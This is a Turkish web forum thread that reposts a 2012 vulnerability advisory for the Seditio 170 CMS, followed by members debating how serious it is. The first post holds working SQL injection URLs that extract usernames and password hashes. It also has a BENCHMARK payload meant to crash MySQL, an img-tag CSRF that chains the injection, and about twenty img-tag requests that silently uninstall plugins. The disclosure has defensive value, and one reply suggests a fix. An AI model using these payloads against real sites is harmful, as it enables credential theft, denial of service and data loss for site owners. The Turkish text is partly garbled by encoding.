 |
Seditio 170 CSRF and SQL injection
|
 |
#7435 |
2012-05-29 10:16 GMT  |
M4ster
User is:
  Posts: 86
Ülke:
 İzmir - 35Meslek: CodeR
Age: 39
|
Son zamanlarda hek?rlar seditio ile ?ok u?ra?maya ba?lad?, yeni bir a??k daha ??km?? injelemeniz i?in a?a??ya kodlar? koydum, Kaan a???? kontrol edip risk seviyesini sizlere bildirecektir.
Kod: ============================================================ Vulnerable Software: Seditio 170 (seditio-build170.20120302) Downloaded from:http://www.neocrome.net/files/code/seditio-build170.20120302.rar (MD5 SUM:beb6adc6abb56f947698c1efdbae9430 *seditio-build170.20120302.rar) ============================================================ Tested: *php.ini MAGIC_QUOTES_GPC OFF* Safe mode off /* OS: Windows XP SP2 (32 bit) Apache: 2.2.21.0 PHP Version: 5.2.17.17 mysql> select version() -> ; +-----------+ | version() | +-----------+ | 5.5.21 | +-----------+ */ =========================================================== Vuln Desc: Seditio 170 (seditio-build170.20120302) is Prone to SQL injection vulnerability. Note:*For successfull exploitation requires administrative authentication to system.* //system/core/admin/admin.hits.inc.php //Vulnerable Code Section $f = sed_import('f','G','TXT'); $v = sed_import('v','G','TXT'); if ($f=='year' || $f=='month') { $adminpath[] = array ("admin.php?m=hits&f=".$f."&v=".$v, "(".$v.")"); $sql = sed_sql_query("SELECT * FROM $db_stats WHERE stat_name LIKE '$v%' ORDER BY stat_name DESC"); Exploit: Extract user(s)/admin(s)/moder(s) details: http://192.168.0.15/learn/128/sed/seditio.170/admin.php?m=hits&f=year&v=1%27%20union%20select%201,user_name%20from%20sed170_users%20limit%201--%20or%271%27!=%271-- http://192.168.0.15/learn/128/sed/seditio.170/admin.php?m=hits&f=year& v=1%27%20union%20select%201,concat%28user_name,0x3a,user_password%29%20from%20se d170_users%20where%20user_id=1--%20or%271%27!=%271-- http://192.168.0.15/learn/128/sed/seditio.170/admin.php?m=hits&f=year& v=1%27%20union%20select%201,concat%28user_name,0x3a,user_password%29%20from%20se d170_users--%20or%271%27!=%271-- http://192.168.0.15/learn/128/sed/seditio.170/admin.php?m=hits&f=year& v=1%27%20union%20select%201,concat%28user_name,0x3a,user_password%29%20from%20se d170_users%20where%20user_id=1--%20or%271%27!=%271-- Overload MYSQL server:(As result Mysql Server Goes Down+High CPU Load in other words: Create Denial Of Service throught sql injection) http://192.168.0.15/learn/128/sed/seditio.170/admin.php?m=hits&f=year& v=1%27%20or%20%28select%20benchmark%28100000000000000000,sha1%28md5%28now%28%29% 29%29%29%29%20or%271%27!=%271-- Note: It can be mixed with CSRF especially if you have no any access to system as admin. In eg: <img src="http://192.168.0.15/learn/128/sed/seditio.170/admin.php?m=hits&f=year& v=1%27%20or%20%28select%20benchmark%28100000000000000000,sha1%28md5%28now%28%29% 29%29%29%29%20or%271%27!=%271--" /> Print screen: http://s019.radikal.ru/i625/1204/6d/842088135393.png Seditio 170 (seditio-build170.20120302) also prone to CSRF (Cross Site Request Forgery) vulnerability because it doesn't checks request validity throught $_GET request and as result we can silently Uninstall/stop/pause/start plugins which may cause: Data loss,functionality loss. ================================================================================ =========== /*Tested with Seditio 165/seditio-build170.20120302 versions [Uninstall Plugins] CSRF exploit.*/ //Works for me. <img src="http://192.168.0.15/learn/128/sed/seditio165/admin.php?m=plug&a=edit&pl=Highslide_iResizer&b=uninstall" /> <img src="http://192.168.0.15/learn/128/sed/seditio165/admin.php?m=plug&a=edit&pl=adminqv&b=uninstall" /> <img src="http://192.168.0.15/learn/128/sed/seditio165/admin.php?m=plug&a=edit&pl=cleaner&b=uninstall" /> <img src="http://192.168.0.15/learn/128/sed/seditio165/admin.php?m=plug&a=edit&pl=contact&b=uninstall" /> <img src="http://192.168.0.15/learn/128/sed/seditio165/admin.php?m=plug&a=edit&pl=forumstats&b=uninstall" /> <img src="http://192.168.0.15/learn/128/sed/seditio165/admin.php?m=plug&a=edit&pl=gallery&b=uninstall" /> <img src="http://192.168.0.15/learn/128/sed/seditio165/admin.php?m=plug&a=edit&pl=ipsearch&b=uninstall" /> <img src="http://192.168.0.15/learn/128/sed/seditio165/admin.php?m=plug&a=edit&pl=massmovetopics&b=uninstall" /> <img src="http://192.168.0.15/learn/128/sed/seditio165/admin.php?m=plug&a=edit&pl=news&b=uninstall" /> <img src="http://192.168.0.15/learn/128/sed/seditio165/admin.php?m=plug&a=edit&pl=passrecover&b=uninstall" /> <img src="http://192.168.0.15/learn/128/sed/seditio165/admin.php?m=plug&a=edit&pl=recentitems&b=uninstall" /> <img src="http://192.168.0.15/learn/128/sed/seditio165/admin.php?m=plug&a=edit&pl=search&b=uninstall" /> <img src="http://192.168.0.15/learn/128/sed/seditio165/admin.php?m=plug&a=edit&pl=skineditor&b=uninstall" /> <img src="http://192.168.0.15/learn/128/sed/seditio165/admin.php?m=plug&a=edit&pl=statistics&b=uninstall" /> <img src="http://192.168.0.15/learn/128/sed/seditio165/admin.php?m=plug&a=edit&pl=textboxer2&b=uninstall" /> <img src="http://192.168.0.15/learn/128/sed/seditio165/admin.php?m=plug&a=edit&pl=dbtools&b=uninstall" /> <img src="http://192.168.0.15/learn/128/sed/seditio165/admin.php?m=plug&a=edit&pl=pmoku&b=uninstall" /> <img src="http://192.168.0.15/learn/128/sed/seditio165/admin.php?m=plug&a=edit&pl=modcp&b=uninstall" /> <img src="http://192.168.0.15/learn/128/sed/seditio165/admin.php?m=plug&a=edit&pl=guestbook&b=uninstall" /> <img src="http://192.168.0.15/learn/128/sed/seditio165/admin.php?m=plug&a=edit&pl=pmblocker_se&b=uninstall" /> ================================================================================ ============== Information Disclosure: Try to post in inputs very long string. Application will expose column.names which is not acceptable anymore from security consideration. In eg: Client Side validation: <tr> <td>Location:</td> <td><input type="text" class="text" name="ruserlocation" value="" size="32" maxlength="64" /></td> </tr> http://192.168.0.15/learn/128/sed/seditio.170/users.php?m=profile&a=update&x=EONODP Post data: userid=1&curpassword=&ruserhideemail=1&ruserpmnotify=0&ruserskin=artic&ruserlang=en&rusercountry=00&ruserlocation=aaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa&rusertimezone=-12&ruserwebsite=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAA& ryear=0&rmonth=0&rday=0&ruseroccupation=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&rusergender=U&MAX_FILE_SIZE=65536000&userfile=&rusertext=&rnewpass1=&rnewpass2=&x=EONODP Error: Title of your site 2012-04-12 04:55 / Fatal error : SQL error : Data too long for column 'user_occupation' at row 1 Persistent Cross Site Scripting vulnerability still unfixed.(from Seditio 161) Same Info/Path disclosures still unfixed.(from Seditio 161). ("Thanks" for TinyMCE editor and thanks to client side validation)(from Seditio 161) I notified about it here+ to vendor too but it still unfixed in 170.20120302 too. ====================PLEASE==HELP TO KEEP SEDITIO SECURE================================= Thank you. /AkaStep ^_^ Link: http://packetstormsecurity.org/f.....tion.html |
G?venlik dan??man? Seditio & Cotonti Manager |
 |
 |
|
Seditio 170 CSRF and SQL injection
|
|
#7436 |
2012-05-29 10:21 GMT |
|
LocaL
User is:
Posts: 49
Ülke:
 --- - 00Meslek:
Age:
|
bunu bizim takimdan saygi deyer Baskanimiz bulmusdur ismide AkaStep.
|
|
|
|
Seditio 170 CSRF and SQL injection
|
|
#7438 |
2012-05-29 11:40 GMT |
MUST!
User is:
Posts: 199
Ülke:
Ankara - 06Meslek: Öðrenci
Age: 35
|
Hackten pek anlamam ama san?r?m sadece admin yetkisine sahip ki?iler bilgileri g?rebilir.
$v = sed_import('v','G','TXT') k?sm? altakiyle de?i?tirildi?inde sorun ortadan kalk?yor gibi $v = sed_import('v','P','TXT') |
|
|
|
Seditio 170 CSRF and SQL injection
|
|
#7440 |
2012-05-29 16:35 GMT |
|
M4ster
User is:
Posts: 86
Ülke:
İzmir - 35Meslek: CodeR
Age: 39
|
admin panele eri?mek gerek, bu a??k biraz sa?ma olmu? sanki
 ama yinede bunu bir html i?inde iframe ile hedef ki?iye istemeden ?al??t?rabilirsin birde log sistemi yapars?n karma??k olur ama olur  |
G?venlik dan??man? Seditio & Cotonti Manager |
|
|
|
Seditio 170 CSRF and SQL injection
|
|
#7441 |
2012-05-29 17:35 GMT |
Ales McGregor
 
User is:
Posts: 31
Ülke:
İstanbul - 34Meslek: WH Manager
Age: 39
|
Bu benim versiyona benzemiyor.. acaba olivierin 170 versiyonu ola bilirmi ?
|
|
|
|
Seditio 170 CSRF and SQL injection
|
|
#7442 |
2012-05-29 19:11 GMT |
Kaan
User is:
Posts: 2772
Ülke:
İstanbul - 34Meslek: Serbest Meslek
Age: 43
|
Alıntı Evet Admin yetkisi olmayan bi?ey yapamaz zaten o nedenle o kadar riskli de?il zaten g?l?p ge?ebilirsiniz T?m cms sistemler ayn? ?ekilde ?al??abilir bu arkada? biraz fazla abart?yor. Bu ac?klar biraz sa?ma geldi ama yinede incelemek gerekiyor sizde test edebilirsiniz sitelerinizde ama localde denemeyinneden mi localde g?venlik olmad?g? i?in bir cok kod rahatl?kla ?al??abiliyor ama normal sunucularda ?al??m?yor bu nedenle kendi hostunuza kurup test ediniz. Uygun bir zaman da bende incelicem. |
Emlak, Oto Galeri, Rent A Car, ?iir, Edebiyat Script Sipari?lerinizi Verebilirsiniz. Detaylar ??in: kaan@ntka.org Seditio 170 ?ndir Capte M?zik ?ndir Seditio Toolbar ?ndir |
|
|
|
Seditio 170 CSRF and SQL injection
|
|
#7446 |
|
|
Kaan
User is:
Posts: 2772
Ülke:
İstanbul - 34Meslek: Serbest Meslek
Age: 43
|
Ek olarak localde denedi?i i?in her?ey ?al???yor normal sunucuda hi? bir ?ekilde ?al??mayacakt?r ?ahsen bende ?al??mad?.
Profil alan? ise 258 karakter den fazla almad?g? i?in oda bo? bir hack y?ntemi  Endi?e edicek bi?i yok yani yine bo? i?lerle u?ra??yorlar  son mesaj 1 dakika Alıntı Bi?ey buldu?u yok hi? bir ?ekilde ?al??m?yor. Bu mesaj Kaan tarafından 2012-05-30 01:22 GMT, 5199 Gün önce düzenlendi. |
Emlak, Oto Galeri, Rent A Car, ?iir, Edebiyat Script Sipari?lerinizi Verebilirsiniz. Detaylar ??in: kaan@ntka.org Seditio 170 ?ndir Capte M?zik ?ndir Seditio Toolbar ?ndir |
|
|
